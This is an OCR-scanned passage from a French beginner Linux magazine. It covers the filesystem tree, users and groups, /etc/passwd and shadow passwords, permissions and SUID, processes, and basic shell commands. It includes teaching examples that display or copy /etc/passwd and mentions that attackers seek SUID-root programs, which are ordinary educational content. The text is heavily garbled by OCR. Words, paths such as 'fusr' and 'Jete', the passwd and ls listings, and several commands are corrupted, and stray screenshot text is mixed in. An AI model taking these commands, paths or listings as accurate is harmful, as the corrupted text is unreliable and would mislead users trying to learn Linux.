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LINUK n'est pas ce
fjue Vous Croyez

Linux tient une bonne réputation dans les milieux professionnels. En revan-

che, chez les particuliers, de nomb

reux préjugés dominent encore les opi-

nions trop habituées a la simplicité apparente des systemes Microsoft...

i 'on vous demandait

ce qu'est Windows,

vous diriez que c'est un
tout : un systéme payant,
composé d'un noyau, de logi-
ciels, d'outils de configura-
tion et d'un capharnaiim gul-
liverien servant i stocker les
différentes informations sur
l'urilisateur.
Si I'on vous demandait ce
qu'est distribution
Linus, vous diriez a peu prés
la méme chose. A peu pres.
car déja, Linux est gratuit.
Ensuite, sous Linux, tout est
représenté par des fichiers.
Certes, cela fait encore plus
désordre, mais on apparence
seulement. L'utilisateur,
l'aide des documentations

une

3 de sonfiguration.

fournies sur son systéme, est en mesure de personnaliser, |

d'agir sur l'intégralité des composants de son systeme, le
tout étant structuré dans un systéme de fichiers organisé.
Le prix pour &tre le maitre d'un assemblage de Lego ? De
llinvestissement en temps et en matiére grise pour aborder
des procédures parfois complétement nouvelles.

Ceci érant dit, méme les plus frileux et moins adroits trou-
vent aujourd'hui chaussure & leur pied. Une distribution
comme Mandriva (ex Mandrake), trés oriente grand public,
ne lisserait pas & l'utilisateur 'occasion de se décourager
de l'apparente complexité de ce systeme. Au contraire.
Car si les professionnels et habitués utilisent Linux via des
terminaux en mode texte, les débutants peuvent commen-
cer i se faire la_main sous des environnements graphiques
conviviaux, eux-mémes bien plus pratiques d'emplei que
celui de Microsoft. 4

La base d'une distribution Linux est stable (le noyau), et

KDE est un environnement graphique parm!
dizaine d'outres, trés orienté sur la simplicité,
fournissomt également pléthore d'outils graphiques

I'environnement graphique,
aujourd'hui  supporté par
XFree, l'est également. Les
gestionnaires  d'environne-
ments graphiques sont trés
nombreux, et la pluralité des
choix est une grande joui
sance pour tous les Jacky.
Sans grande audace, certins
prétendent méme quiil est
possible aujourd'hui d'utiliser
Linux sans passer par de la
ligne de commande...

A Tlére moderne, Linux ne
s'adresse malgré tout pas 2
tout le monde. Certes, il y a
cing ans, Microsoft affirmait

une
avec fierté que Linux n'érait
pas un concurrent sérieux a
05 du multimilliardaire
américain. Aujourd'hui, Bill
Gates s'éponge le front...

En informatique d'entreprise,
grands détours et retours dans les champs de Microsoft. En

la moissonneuse Linux fait de

revanche, chez les particuliers, il y a une catégorie de per-
sonne qui ne trouvera pas Linux avantageux : ce sont les
gamers. .

Sur tout ce qui est multimédia, Linux est irréprochable : il
est tout & fait possible d'y lire des vidéos, d'écourer de la
musique, de faire du peer-te-peer, etc.avec un degré de per-
formances nettement meilleur que sous YYindows. Car
Linux n'est pas une usine 3 gaz. Linux exploite votre
processeur de facon optimale et ne vous péte pas
i la gueule si votre ordinateur manque de puissance.

En revanche. Microsoft a su imposer, grace a son support
DirectX et au jeu des développeurs et constructeurs de
matériel qui ne développent que pour Windows, son hégé-

monie dans le monde du jeu vidéo. Mais la balance penche



doucement. comme en
témoigne nVidia en portant
ses drivers pour Linux.

Les professionnels en web-
design ou création multi-
média n'auraient pas non
plus, 3 I'heure actuelle, d'in-
téréts 4 basculer sous
Linux, les outils profession-
nels étant plus nombreux
sous Windows. Mais ici
encore, des solutions alter-
natives gratuites et perfor-
mantes émergent, laissant
se profiler un avenir plus
riche.

Enfin, d'un point de vue
purement éducatif, Linux

est une excellente fagon |

pour tout informaticien
curieux et joueur d'aborder
le fonctionnement d'un sys-
téme d'exploitation, de se
mettre au développement
sur quasiment tous les lan-

gages (sauf Visual Basic ..), | =

d'accroitre son degré de
polyvalence.

Essentiellement orienté sur
la sécurité, le journal que
vous lisez  aujourd’hui
devrait aider les linuxi

«todsc.pl  oracletxt  passwd.txt PE2650- red-dtcfg  red-srve
| 26K 704 bytes 33bytes  broadcom- 15K 15K
ghostimg

14 MR
La gestionnaire de fichiers de Gnome, largement plus puissant que celui de Windows

__

débutants a aborder des
problématiques de protec-
tion. a jouer sur ce systeme,
tant le découvrir
que pour approfondir leurs
connaissances.

MNous ferons méme la
démonstration que le jeu
sous Linux est loin d'étre
un réve d'utopistes. Le
hacker/joueur que vous
étes devrait trouver son
idylle dans les pages qui
VONT suivre.

N'oubliez pas que la seule
restriction que vous ayez

pour

e | sl | ogug | boreed |

| Mame: [Lan i
Comment:
EERen == ]
Zone Addresses ——————— |1
192.168.20024
Newpddress || Delete Address
‘Address: |192.168.1.0/28 ] “u=il
Addresses ean ba host names, network names or (P sddresses. Masks can be
specified as network masks or @ plein numbar. &.g. 192.168.1,0/255.255.285.0 or

192.168.1.0024

pour agir sur le
ment de votre systeme tient
4 votre niveau technique.
Plus on en apprend sur cet

OS, plus on sy sent puis- |

sant...
linuxschoolmagazine

hﬁrmlﬁngﬁnumpnmpmhrﬂmempwd'obmﬁrhhndnmﬁgumﬁun




Offre spéciale d’abonnement

LE NOUVEAV MAGAZINE
100% LINUX

de pur linux (6numeéros)

24 euros 1!

A découper ou & recopior ot & GHVOYET aCCOMPagnG (e voire réglement de 24 euros a Fordre de
LPN & LINUXSCHOOL Magazing15 rue Chevreul - 94700 MAISONS-ALFORT

NOM : PRENOM :

ADRESSE :

CODE POSTAL : VILLE :




Le systéeme de fichiers
selon linux

Un systéme linux, c'est un noyau qui
prend en charge le matériel, en contact
avec un espace utilisateur; le shell. Le
shell a pour mission de recevoir les
commandes des utilisateurs et de lan-
cer les applications. Mais linux, c'est
aussi un systéme de fichiers hiérar-
chisé, pratiquement toujours le méme,
quel que soit FUNIX utilisé, & quelques
variantes prés.

La distribution Suse par exemple utilise
une arborescence tellement bordéli-
que que je n‘ose méme plus accepter
d'administrer des machines sous cette
distribution. Cela dit, la Suse a quand

méme un certain nombre d'avantages. |

Dans un environnement UNIX, tout
est fichier. C'est une notion relative-
ment difficile 3 comprendre et i
admettre : les fichiers sur votre disque
dur, votre écran, votre carte sen, votre
imprimante, tout cela est fichier.

Le noyau communique avec votre
matériel via un fichier présent sur
votre disque dur nommé un descrip-
teur de fichier. C'est un peu plus com-
pliqué que cela dans la réalité, mais si,
déji, vous arrivez i admertre que voure
écran soit un fichier, ec non plus du
matériel, c'est déja pas mal. Une fois
qu'on a pris le pli, cette caractéristique
d'UNIX devient un atout indispensable
des qu'on veut s'attaquer 3 |a program-
marion systéme.

Le noyau communique avec le hard-
ware via des points de montage. |l
s'agit tout simplement de fichiers aux-
quels F'utilisateur a la possibilité d'acce-
der, et qui pointent vers ce matériel,
une fois monté. Le montage est l'action
de dire au noyau “il existe sur ma
machine tel matériel auquel tu peux
accéder via tel descripteur, et que je
veux accéder via tel fichier”. Le noyau

Quelques no

Il est important de connaitre quelques concepts
fondateurs de UNIX pour mieux saisir le fonction-
nement de son Linux. Presque tout le systéme est
en effet articulé autour de trois concepts clé : les
fichiers, les utilisateurs et les processus.

va alors mertre e matériel concemné i |

disposition de I'utilisateur la ot il le lui
a demandé. Le disque dur lui-méme est
un fichier, monté sur un point de mon-
tage spécifique. Le disque principal, ou
racine, sur lequel tout le reste va venir
se greffer (des fichiers, bien évidem-
ment) a pour point de montage le
répertoire racine, ou

Larborescence des repertoires est
pratiquement toujours la méme :
/

-> fbin

== Iproc
== [root

]
> fusi

> Jbin
= linclude
~-> ffib
=== flocal
- fman

> fsbin
> {share
== Isrc

-=> fyar

Jlog
--> [spool

~> swap

L'arborestence des répertoires
L'arborescence de base présentée ci-
contre est loin d'étre exclusive, et de
nombreux autres répertoires peuvent
exister. Mais il s'agit de 'arborescence
de base sur une distribution linux. Tous
les exemples proposés ici ont éé effec-
tués sur une slackware 8.0. Nous allons
maintenant voir 4 quoi correspondent
ces différents répertoires.

= / & C'est le répertoire racine (rien i
voir avec Jayce et ses monstres aux
plantes). C'est le premier répertoire
monté au démarrape, et celui sur
lequel tous les autres vont étre mon-
és.

= /bin : c'est le répertoire ol le sys-
téme installe la grande majorité des
programes utilisables par les utilisa-
TeUrs Normaux.

- /boot : ce répertoire est capital car
clest 14 que les éléments nécessaires au
démarrage seront entreposés, nomm-
ment le noyau. ou un lien pointant vers lui,

- /dev : cest li que se trouvent les
entrées vers les différents périphéri-
ques, qui permettent au noyau d'accé-

| der au matériel. Il s'agit la des points

d'accés et non pas des points de mon-
tage.

- Jete : c'est | que se trouvent la plu-
part des fichiers de configuration du
systéme, ou encore les scripts lancés

| au démarrage.
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- /home : c'est la que sont stockés
les répertoires des utilisateurs (ou
home directories).

= /lib : c’est li que sont installées la
plupart des bibliothéques nécessaires
au bon fonctionnement du systéeme.

= /mnt : c'est |3 que se trouvent. en
général, les points de montage vers les
disques physiques, comme les disques
durs amovibles, ou encore les lecteurs
de cdrom une fois montés. En effet,
pour étre accessibles, les cdroms doi-
vent d’abord étre montés, et ne peu-
vent pas étre retirés s'ils n'ont pas été
démontés d'abord. Normalement, seul
le superutilisateur peut monter du
matériel, mais de nombreux scripts
autorisent ['utilisateur 4 le faire auto-

matiquement sur les distributions
grand public.
= /proc i c'est | que vous trouverez

les informations sur le fonctionnement
de vos périphériques. C'est extréme-
ment barbare 3 lire, mais cela peut
s'avérer utile en cas de dépannage, ou
de simple curiosité.

- /root : c'est le répertoire person-
nel du superutilisateur. Il ne se trouve
pas dans /home, mais 4 la racine du dis-
que.

- /sbin i cest le répertoire dans
lequel le systéme a installé les pro-
grammes  accessibles uniquement au
superutilisateur.

- /tmp : c'est i que ce trouvent les
fichiers temporaires créés par le systéme.

= fusr : c'est [a que se trouvent tous
les programmes non systémes et librai-
ries accessibles aux utilisateurs. Il

contient de trés nombreux sous-réper-
toires, mais les plus importants sont :

--> Susr/XI1IR6 : cest ld
que se trouvent les binaires du sys-
téme d'affichage X windows, 'interface
graphique la plus communément dis-
ponible sous linux.

--> fusr/bin :c'est [a que se
trouvent les exécutables (ou binaires)
des programmes utilisateurs.

-=> [usrfinclude : c'est la que
se trouvent les entétes des librairies

installées dans I'espace utilisateur. Ces |

entétes sont nécessaires dés qu'il est
question de recompiler des program-
mes.

--> fusr/lib : Cest la que se
trouvent les librairies utilisées par les
applications des utilisateurs.

--> fusr/local : c'est la que
sont les programmes installés par les
utilisateurs de la machine. Tout comme
fusr, fusr/local dispose d'un répertaire
bin, include, lib, etc. etc. etc.

—> fusr/man : c'est la que
se trouvent les anpages, une source de
documentation intarissable sur les pro-
grammes présents sur le systéme ou
encore sur les differentes bibliothe-
ques. Avant de poser une question, le
bon réflexe est de se jeter sur les
mans, ou encore sur les howto de la
Linux Documentation Project(8), qui
décrivent bien des choses pas  pas.

--> fusr/shin : c'est i que
se trouvent les programmes non sys-
téme réservés au super utilisateur, et
qui font appel a des ressources aux-
quelles les utilisateurs normaux n'ont
pas acces.

--> Jusr/share
que se trouvent les programmes parta-
gés par les utilisateurs, selon I'arbores-
cence traditionnelle d'UNIX. Mais ces
régles sont de moins en mains respec-
tées

: clest la |

> /fusr/src : ce répertoire
est le préféré de Monsieur Bidouilleur
car c'est la que le root entrepose les
sources des programmes qu'il va instak-
ler sur son systéme.

- /var t c'est dans ce répertoire que
vont se retrouver tous les répertoires
de spoule, comme celui de I'imprimante
ou du serveur de mail. Un répertoire
de spoule est un répertoire dans lequel
un programme ou un périphérique va
mettre en attente les informations qui
devrent étre traitées plus tard.

--> /var/spool
que se trouvent les répertoires de
spoule. Les deux plus importants sont
fvarispool/ipd, o les travaux d'impres-
sion en attente,
fvar/spool/mail ol les mails sont mis en
attente de lecture.

--» /war/log : c'est la que
sont entreposés les fichiers log du sys-
téme. Mais ces fichiers ne sont pas
accessibles aux urilisateurs.

s clest

sont  mis et

= la swap : il s'agit de la mémoire tam-
pon, qui utilise une partition pour elle
seule et ne peut pas étre lue directement
par un étre humain. Elle vient suppléer la
mémoire vive de ['ordinateur car linux,
s'il ne demande pas un processeur
rapide, demande beaucoup de mémoire.

“La différente entre connaitre le
chemin et arpenter le chemin®
Nous allons nous pencher sur
notion de chemin, ou path en bon
anglais. En effet, si vous vous penchez
sur votre fichier .profile, situé soit dans
votre répertoire racine soit dans le
répertoire /etc, vous verrez une ligne
commengant par PATH= :
PATH="/usr/local/bin: /usr/bi
n:/bin:/usr/X11R6/bin: /usr/s
bin:/sbin”




1l s'agit 12 du chemin pour accéder a la
plupart des programmes disponibles
sur le systéme sans avoir a taper leur
chemin complet. En effet. il est plus
simple de lancer “nmap” que
“Jusr/local/bin/nmap”, Clest li que
nous allons introduire la différence

entre chemin absolu et chemin relatif. |
Le chemin absolu est le chemin pris & |

partir de la racine, tandis que le chemin
relatif est celui pris & partir du réper-

toire courant, c'est-d-dire le répertoire |

dans lequel on se trouve au moment
ois on lance la commande.

$ /usr/local/bin/nmap
$ ../usr/local/bin/nmap
$ nmap

La premiére ligne lance ['utilitaire nmap |
en donnant comme accés le chemin |

depuis la racine, tandis que la seconde
ligne indique au shell le chemin depuls
le répertoire dans lequel on se trouve.
La troisiéme lance directement nmap
car j'ai ajouté le chemin au path pour
ne pas perdre de temps a accéder 4 un
utilitaire aussi utile.

Il existe une troisieme maniére de définir
le path, c’est A partir du répertoire cou-
rant. Cela se fait en commengant la ligne
par “/". Si je me trouve dans le réper-
toire fusrflocal/bin, il me suffira de faire :

$ ./nmap

La notion d’utilisateur

Comme nous 'avons dit plus haur, linux
est un systéme véritablement multiucili-
sateur: Cela implique que ce qui appar-
tient & un utilisateur n'appartient pas a
un autre, et que n'importe qui ne peut
pas faire n'importe quoi n'importe
comment, et ¢a. c'est le pied. Mais il 2

bien fallu organiser tout ¢a d'une |
maniére ou d’une autre et c'est ce que |

nous allons voir dans ce paragraphe.

Je ne suis pas un numéro,

je suis un homme fibre !

Si vous regardez le contenu du fichier
letc/group, vous allez voir une suite de
lignes un peu barbares ressemblant 3
peu présaca:

$ cat /etc/group
root::0:root
bin::1:root,bin,daemon
daemon: : 2: root , bin, daemon
sys::3:root,bin,adm
adm; : 4 :Toot, adm, daemon
ttyishe

disk: :6:root,adm
1p::7:1p
wheel::10:root
man::15:

mysqgl::27:
nobody s : 98 :nobody
nogroup: :99:
users::100¢

bash-2.05%

Nous allons maintenant décrypter le
sens de ces lignes un peu écranges. Il
s'agit en fait des groupes d'utilisateurs
présents sur le systéme. Chaque utilisa-
teur correspond 3 un groupe particu-
lier,ce qui lul confére des droits particu-
liers. Chaque groupe porte un nom et
un numéro identifiant pour le systéme.
Ce numéro est le GID ou Group
IDentification. A chaque GID corres-
pond un seul groupe et vice-versa.Ainsi,
ici. les utilisateurs devraient normale-
ment faire partie du groupe users et
avoir le GID 100. Mais bien souvent, par
ignorance, les administrateurs créent un
groupe par utilisateur, répondant ainsi
aux options par défaut du systéme. Le
GID 0 est réservé au super utilisateur
qui sera présenté un peu plus loin.

Regardons maintenant le fichier
fetc/passwd. || est encore plus barbare.
Il va pourtant falloir le comprendre
pour assimiler la notion d'utilisateur
sous linux (et sous les différents UNIX).

bash-2.05$ cat /etc/passwd
:04:/root: /bin/tesh

bint/bin:

:2:daemon: /sbin:

adm: /var/log:
1p: :7:lp:/var/spool/lpd:
mysql:xs27:27:MySQL:
/var/lib/mysql: /bin/bash

nobody:x:99:99:nobody: /3
totod2:x3:100:100:Toto:
/home/totod2/: fbin/tcsh

| bash-2.05%

| Prenons par exemple la derniére ligne
du fichier, qui est celle de lutilisateur
nommé toto42,
« toto42 : il s'agit du login de I'utilisa-
teur, son nom sur la machine. |l peut
faire jusqu'a 8 caractéres. Cest ce nom
que l'utilisateur devra donner quand il
voudra avoir accés i la machine.
* x : normalement, i cette place, se
trouve le mot de passe crypté de ['utili-
sateur. Le x signifie que les “shadow
passwords” sont installés sur le systéme.
En effet, le fichier /etc/passwd est lisible
par n'importe qui. Le systéme de sha-
dow passwords va déplacer les mots de
passe dans un fichier lisible uniquement
par le root. |l s'agit de /etc/shadow.
= 100 : il s'agit de T'user ID, ou UID de
I'utilisateur. C'est, en quelque sorte, son
numéro perso qui permet a la machine
de l'identifier. Chaque utilisateur a un
seul UID, et le méme UID est donné a
un seul utilisateur, sauf dans un cas bien
précis que nous n'avons pas besoin
| d'étudier ici (et qui est tellement peu
secure que rien que d'y penser, fen ai
les cheveux qui se dressent sur la téte).
« 100 :le second 100 de la ligne corres-
pond au GID de notre utilisateur
toto42. Si nous regardons i nouveau
letc/group, nous constatons que
totod2 est du group users, ce qui n'a
rien de surprenant en soi.
= Toto il est bo : il s'agit du nom réel de
P'utilisateur: Celui-ci a choisi un nom par-
idiot que I’
laissé. C'est valable sur une machine
ayant peu d'utilisateurs, mais au bout
d'un certain nombre d'utilisateurs, il vaut
mieux rationnaliser un peu tout ¢a.
» Jhomeftoto42 :il s'agit du répertoire per-
sonnel de notre ami toto42. Ce sera son
répertoire courant lorsqu'il se loggera.
» /binitesh : cest le shell, c'est-a-dire
linterpréteur de commandes, choisi
| par notre ami toto42. Mous verrons
certe notion de shell un peu plus loin.

ateur lui a

Ze big boss : le root

Le root est le super utilisateur de la
machine. Il n'en existe qu'un seul, et il
a un certain nombre de caractéristi-
ques bien a lui :

= Un UID bizzare :le root & 'UID 0. Pour
le systéme, cela implique qu'il 2 tous les



droits : lancer des programmes interdits |
aux autres utilisateurs, ajouter ou retirer
un utilisateur; effacer tout et n'importe
quoi, y compris la totalité du systéme.

* Un GID bizzare : il est lui aussi 4 0.
MNormalement, aucun autre utilisateur
ne doit avoir ce GID la (pas plus que
I'UID 0). Ou alors, soit le root est trés
négligeant, soit il ¥ a un gros probléme
et une réinstallation du systéme va
s'avérer urgente.

* Un homedir a part : il s'agit en effec
de froot. En effet, souvent le répertoire
utilisateur /home se trouve sur une
partition a part. C'est a la fois plus siir
et plus pratique en cas de réinstallation
ou de changement de systéme.

+ Tous les droits : nous I'avons dit plus
haut, le root a tous les droits. Aussi, il
est dangereux de se logger en root, et
il vaut mieux ne le faire que pour des
opérations ponctuelles. Le mieux est
de ne jamais se logger directement et
utiliser la commande shell su.

Notions de permissions

Pour gérer les différents utilisateurs et
groupes, UNIX a inventé un truc génial :
les permissions. Ouvrez une console et
listez les fichiers se trouvant dans votre
répertoire i 'aide de la commande Is -I.

Im- =]
toto42

bash-2.05%

EL XX
Irwxr-xr-x

bash-2.058

Ce listing est trés incomplet, mais par-
fait pour ce que nous voulons voir.
Chacune des lignes est composée de
plusieurs colonnes ayant toutes la
méme utilité. Mais seules les quatre
premiéres nous intéressent ici. Les
autres seront expliquées un peu plus
loin, lors du détail de la commande Is.
La premiére colonne est celle qui nous
intéresse le plus : il s'agit des permis-
sions du fichier. La ligne se compose de
10 caractéres. Le premier se lit seul et
nous informe de la nature du fichier :

“." signifie que le fichier est un fichier
des plus normaux.

1" signifie que le fichier est un lien sur

un fichier se trouvant dans un autre
répertoire, mais pouvant étre accéde
directement depuis le répertoire cou-

| rant. C'est bien pratique pour se ren-

dre plus vite dans un répertoire : un
simple lien vers celui-ci suffit.

“d” signifie que le fichier est en fait un
répertoire.

Il existe un quatriéme type de fichier,
qui n'est pas representé ici : le fichier
caché. Son nom commence tout sim-
plement par un “.".

La seconde série de caractéres va,
cette fois, se lire trois par trois : il sagit
des permissions en lecture, écriture et
exécution pour le propriétaire du
fichier, les membres de son groupe et
pour le reste du monde.

- “r" indique que lutilisateur peut lire
le fichier; ou le répertoire.

- “w" indique que Tutilisaceur a des
droits en écriture le fichier.
MNormalement. seul le propriétaire du
fichier devrait pouvoir écrire dessus.
-“x" signifie que le fichier est exécura-
ble. Un répertoire est toujours exécu-
table, sinon, on ne peut entrer dedans.
©On ne peut méme pas le traverser.

sur

72 Oct 6 2%:

fl sep 23 23

184 Sep 22 22:10

210 Cot 1 —11:42
fusx/local/bin/nmap/

Il existe une quatrieme option, trés
dangereuse mals malheureusement
indispensable :“S". Elle signifie que le
programme s'exécute non plus au nom
de celui qui le lance, mais au nom de
celui 3 qui il appartient. De tels pro-
grammes sont dits “setuseridibites” (on
prononce ¢a “setyouseuraildibices”.
Cela signifie qu'ils ont le bit Suid activé.
Si le programme appartient au root,
cela peut s'avérer trés dangereux, or
c'est parfois nécessaire. Et ce sont ces
programmes “suid root” que les pirates
vont chercher en premier lorsquils
voudront pirater votre systéme.

“¢ésame, ovvre-toi”
| Sous linux, les mots de passe sont cryp-

tés selon un algorythme non réversible.
| Cela signifie que, une fois cryptés, les
mots de passe ne peuvent plus étre
décryptés. Lorsque l'utilisateur s'identi-
fie, le systéme va crypter le mot de
passe qu'il a rentré au clavier et va le
comparer avec le mot de passe crypté
quiil a dans le fichier /etc/passwd, ou
fetc/shadow si les shadow passwords
sont installés.

S'ils correspondent, tant mieux, sinon,
tant pis. Traditionnellement, les mots de
passe sous linux font 8 caractéres. Mais
le systéme des mots de passe md5 per-
| met maintenant de faire des phrases de
passe allant jusqu'a 255 caractéres. Un
bon truc pour choisir son passe consiste
4 prendre des majuscules, des minuscu-
les, des chiffres, et des caractéres spé-
ciaux. Un exemple parmi d'autres serait :

“Toto42kicks42ass42424211”. Prenez
de préférence un mot de passe diffé-
rent pour chaque activité en nécessi-
tant un. Ca peut parfois poser des pro-
blémes de mémoire (ne jamais rien
écrire sur un papier ni méme dans un
fichier informatique), mais ¢a évite a
toutes vos activités électroniques
d'étre compromises si quelqu'un
découvrait votre mor de passe FEr
changez-en réguliérement.

: Les processus

Lorsqu'un utilisateur lance un pro-
gramme, il crée un processus qui pos-
séde un numéro, un nom et un pro-
priétaire (entre autres). Le numero du
processus se nomme PID. Le processus
aaussi un état :actif, endormi et zombi.
- actif signifie que le processus est
actuellement en activité.

- passif signifie que le processus est au
repos, et en attente de réveil.
- zombi signifie que le processus est
mort mais que le processus quil a
lancé (ou processus pére) ne le sait
pas, et ne peut donc pas I'enterrer. En
effet, tout processus est le fils d'un autre,
sauf le processus init, qui a pour numéro 1.




onner des ordres a son
esclave linux: le shell

Depuis toujours, vous

étes en manque de conversation avec

votre machine... Heureusement, Linux est trés bavard et va vous
obliger a I’étre aussi. Et pour parler a votre systeme, I'interface
la plus courante reste le "shell”, un outil de saisie de commandes
en mode texte, un peu comme DOS, mais en bien plus puissant...

Top départ !
Au démarrage de votre Linux, un shell est lancé. De ce |
poste de contréle, vous pouvez absolument tout faire. Si
vous démarrez directement sur une jolie interface graphi-
que, lancez donc un terminal (une fenétre ol s'affiche un
shell), tel "xterm". Vous devriez 4 présent obtenir un |
prompt - la ligne d'attente de saisie de commandes :
votre_legin@host:$
(ou simplement [$], [#], [>] ou encore [%])
Le type de prompt dépend du shell choisi (les plus courants
étant "bash”, "tesh”, "zsh”. ..}, de sa configuration actuelle, et
de votre statut. Pour les exemples qui vent suivre, nous
prendrons le symbole [$] pour représenter le prompt.
Le shell est un animal simple : c'est un programme qui vit
sur votre Linux, et ne sert qu'a lancer d'autres applications.
En fait, toute commande que vous ordonnez & votre shell
d'exécuter est un binaire (un pragrzmmz] stocké que!que
part sur votre disque. Subsi rares P
que I'on appelle "built-ins”, ou en an;als de patakweque
"les fonctions internes”... En voici un apergu :
-ed
- exit
- les fonctions de gestion de l'environnement (relatives 3
chaque shell)
- etc. (selon les shells).
Comme votre shell est un animal propre, il se charge de
gérer ce que I'on appelle un "environnement”. Cet environ-
nement est une liste de variables dynamiques qui peuvent
étre modifices par F'utilisateur, et qui servent 3 I'exécution
du shell. Diverses informations comme lallure de votre
prompt, la liste des répertoires oii chercher les binaires, le
nom de votre machine, votre nom d'utilisateur, etc. sont
stockées dans ces variables.
Chague animal (heu... pardon), chaque shell offre des outils
de gestion d'environpement différents. Nous ne les aborde-
rons malheureusement pas cette fois, mais vous pouvez
toutefois afficher le contenu de votre envirennement avec
la commande "env" bien souvent.

Se promener
dans les branches du systéme

| Pour afficher le contenu d'un répertoire, tapez "Is" suivi ou

non du chemin du répertoire que vous voulez visualiser -

$ 1ls /home

Notez que vous pouvez ajouter des options 4 chaque com-

mande Unix. Par exemple pour "Is", on dispose, entre

autres, des options suivantes :a,1,d,F.i, R. En aval, vous trou-

verez plus de détails quant aux procédures pour s'informer

sur les options disponibles des différents cutils du systéme.

Avant cela, essayez par exemple la commande suivante :

$ ls —aR /home

Dans cet exemple, on applique 'option "-a", qui permer de

voir les fichiers cachés, et "-R", une option de récursion

permettant de lister les fichiers contenus dans les sous-

répertoires. Nota bene : le répertoire racine (root) de

votre systéme est /"

La commande qui permet de naviguer dans larborescence
st " cd " (Change Directory), suivie du chemin du réper-

toire. Ainsi, si vous voulez aller dans le répertoire fhome, il

vous suffit d'entrer :

$ cd /home

Il existe deux liens permanents et non effacables qui vous

permettent de vous déplacer plus facilement dans vos

répertoires. Il s'agit de "." et de ".", désignant respective-

ment le répertoire courant dans lequel vous opérez, et le

répertoire parent. Essayez donc ;

$ cd .. && pwd

Taper "pwd" vous indique le chemin complet du répertoire

dans lequel vous vous trouvez,

Tip :

Faites trés attention au respect de la msse des noms de
fichlers et commandes. Sous Unix, les minuscules et
tnajuscules sont bien distinctes. Vous devez également

savoir que, sous Unix, TOUT est représenté par des
fichiers ! Ainsi, les drivers, programmes, répertoires, peri-
pheériques, etc. sont présents sous forme de fichiers.
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Un terminal

imar ianc@grothendieck: ~§

ouvert

Jouer a Dieu sur son systéme

de fichiers

Pour créer un répertoire, tapez la commande "mkdir" sui-
vie du (ou des) nom(s) de répertoires que vous voulez
créer :

$ mkdir /home/

blagues ./annexes

De cet exemple, il découle que ['on peut créer des réper-
toires partout ol on le souhaite si 'on en précise bien le
chemin.

Effacer un répertoire (un répertoire est un fichier, rappe-
lons-le) se fait avec * rmdir ", qui ne supprime un répertoire

que s'il est vide. Pour effacer un répertoire non-vide, il faut |

utiliser la commande "rm —R" (Recursive ReMove). Cette
derniére est toutefois plus spécifique aux fichiers standards.
Notez que "rm" ne vous demande aucune confirmation
avant la suppression - irréversible ! - de vos fichiers, sauf
avec I'option "-I". Cet état de fait 2 engendré de nombreux
désastres un peu partout dans le monde des maladroits.
Sinon, vous pouvez déchainer vos passions créatrices a
laide de "touch”. On l'utilise suivi du nom du fichier afin
d'engendrer ce dernier. "touch” sert également a modifier
les dates des derniers accés aux fichiers.

On peut copier fichiers et répertoires 4 laide de la com-
mande "cp" (CoPy), de la fagon suivante :

$ cp /etc/passwd /tmp/password

La commande "my" (MooVe) dont la syntaxe est 2 'identi-
que de “"cp", permet quant 4 elle de déplacer (et accessoi-
rement renommer) des fichiers et repertoires.

Jongler avec son shell
L4 ob le shell devient réellement puissant, C'est dans les
différentes fagons qu'a l'utilisateur de lui faire exécuter

ses commandes.

Par exemple, il est possible de rediriger trés simplement le
résultat d'un programme (une sortie) vers I'entrée (ce que
vous auriez saisi) d’un autre programme, ou bien d'utiliser
la sortie d'un programme comme paramétre pour lancer
un autre programme, de chainer des exécutions, etc.

Les shells modernes comprennent méme des langages de
script qui leur sont propres. Cela dit, nous nous pencherons
uniquement sur les fonctionnalités de redirection (d'une
sortie vers n'importe oll) offertes par tout bon shell.
Pour cela, voyons tout d'abord comment afficher le
contenu d'un fichier 4 Fécran. A cet effet. on utilise généra-
lement "cat” (conCATénation):

$ cat toto

Alors c'est

1'histoire

de Toto

Si le fichier est trop long et que vous ne pouvez pas en voir
le début car la fenétre de votre shell est trop petite, utilisez
"more” (ou "less") ou une redirection, afin d'afficher le
fichier page par page *
$ more compiling tiger.txt
Pour rediriger un résultat, nous utiliserons les opérateurs
suivants : [>], [>>], [<], [I] (" alt_gr+6 " sur votre clavier
Frangais) et les backquotes ['] (" alt_gr+7 " sur ce miséra-
ble clavier toujours en frangais).
‘ Ici, on se sert de [>]. Par exemple, on veut enregistrer le
résultat de la commande " Is " dans le fichier listing :
§ 1s > listing
Notez qu'il importe peu que le fichier ait déja écé créé ou
pas : cette commande efface le contenu du fichier ou le
| crée, respectivement.
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Un terminal

Ele Edit Mjew Terminal Tabs Help I fraichement
| gnome- terminal (1) gnome-terminal (1) |afff ouvert
NAME
gnome-terminal -- is a terminal emulstion application.
SYNOPSIS
gnome-terminal [-e, --command=STRING] [-x, --execute ] [--window-
with-profile=PROFILENAME]  [--tab-wath-profile=PROFT [--window-

wi th-profi Le-internal-id=PROFILEID] [--tab-with-profile-internal-

id=PROFILEID]  [--rolesROLE]  [--show-menubar] [--hide-menubar]
[--geometry=GEOMETRY. [--disable-factory]l [-t, --titlesTITLE]
{--working-directory=DIRNaME] [--usage] [-7, --help]

DESCRIPTION

GNOME Terminal is a terminal emulation application that you can use to
perform the following actions:

To access a UNIX shell in the GNOME environment.
& shell is a program that interprets and executes the commands that you

type at a command Line prompt. When you start GNOME Terminal, the
application starts the default shell that is specified in your system

account. You can switch to a different shell at any time.

Si, par contre, on ne veut pas que le contenu du fichier &'
existe) soit effacé, on utilise non pas > mais >>, ce qui
écrira a la fin du fichier.
Un petit pipe ? Hum... Pour les esprits mals tournés, un
pipe c'est ¢a : [[]. En fait, cela sert 4 rediriger la sertie d'une
commande vers I'entrée d'une autre. Explications ! Vous
voulez rechercher une chaine de caractéres (ici : "z66w") |
dans un fichier ("log_irc"), vous allez faire :
§ cat log_irc
| grep 'z66w'

<zaizaide> z66w: c'est toi que je viens

embéter :)
<zbbw> erft
Ici l'outil " grep " sert a sélectionner les lignes qui ne
contiennent que le texte indiqué en argument.
Autre exemple, vous voulez lire un fichier page par page
mais en faisant un cat :
$cat toto | less

Les man pages

A tout mement, vous pouvez taper ‘man nom_de_la_com-
mande" afin d'obtenir une aide sur la commande précisée.
Les manuels (manpages) sont trés complets, mais leur
aspect un peu technique reboutera sirement quelques
rares manchots. Tapez "man man" pour commencer sur
quelque chose de concret.

Vous pouvez également taper "nom_de_la_commande —
help" pour afficher une aide succincte. En géneral, la plupart
des applications supportent cette option ou affichent une
aide en cas d'erreur, ainsi, toutes les routes ménent 3 |

Rome. |l reste toujours bien pratique de comprendre la
syntaxe de ces aides. Etudions une sortie fictive de message
d'aide pour I'outil "ping" :
$ ping --help
ping [~IRUbAfngrvVgQs)

[-¢c count]

[-h host]

destination
